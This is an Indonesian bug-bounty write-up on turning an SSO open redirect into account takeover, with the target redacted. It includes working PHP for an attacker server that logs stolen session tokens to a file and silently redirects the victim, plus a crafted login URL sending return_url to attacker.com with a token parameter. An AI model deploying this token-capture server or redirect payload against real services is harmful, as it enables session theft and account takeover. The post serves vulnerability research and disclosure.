Hi bug hunter, kali ini saya ingin share tentang memanfaatkan open redirect to account takeover. Langsung saja
Sebelum mendapatkan sekenario attack seperti gambar diatas saya menganalisa open redirect pada saat melakukan login
Didapatkan link untuk login:https://sso.redacted.com/login?return_url=http%3A%2F%2Fsub.redacted.com%2Fuser%2FcallbackJika login valid akan diarahkan kehalaman dashboard dengan melewati url :
https://sub.redacted.com/user/callback/eyJ0.....
Sebelum masuk ke POC kita buat dulu server untuk mendapatkan tokennya
Pertama buat 2 file yaitu index.php :<?phpif (isset($_GET['token'])==true) {
$token = $_GET['token'].PHP_EOL;
if(file_put_contents("tokenleaked.txt", explode("/",$token), FILE_APPEND)){
$urls = "https://sub.redacted/user/callback".$token;function redirect($url, $statusCode = 303){
header('Location: ' . $url, true, $statusCode);
die();
}
redirect($urls);
/*ketika sudah menyimpan token, auto redirect ke callback. jadi seperti benar-benar login */
}
}Dan tokenleaked.txt untuk menyimpan token victim.
Kemudian setelah membuat 2 file diatas, upload file tersebut ke server kalian
Masuk ke POC :
- Kirim url login yang sudah ditempeli server attacker ke victim:https://sso.redacted.com/login?return_url=http%3A%2F%2Fattacker.com%2F%3Ftoken%3D- Victim melakukan login
- Attacker mendapatkan token akun victim
- Attacker login dengan token victim melalui url callback :https://sub.redacted/user/callback/eyJ0.........- Wellcome to dashboard
Penjelasan :
url decode dari http%3A%2F%2Fattacker.com%2F%3Ftoken%3D:
http://attacker.com/?token=Didalam server attacker terdapat index.php yang fungsinya untuk mendapatkan token dari parameter get token= , yang kemudian disimpan ke tokenleaked.txt
Refrensi : https://progress28.com/2020/12/30/tips-open-redirect-to-ato-via-google-and-facebook-oauth/
Thanks!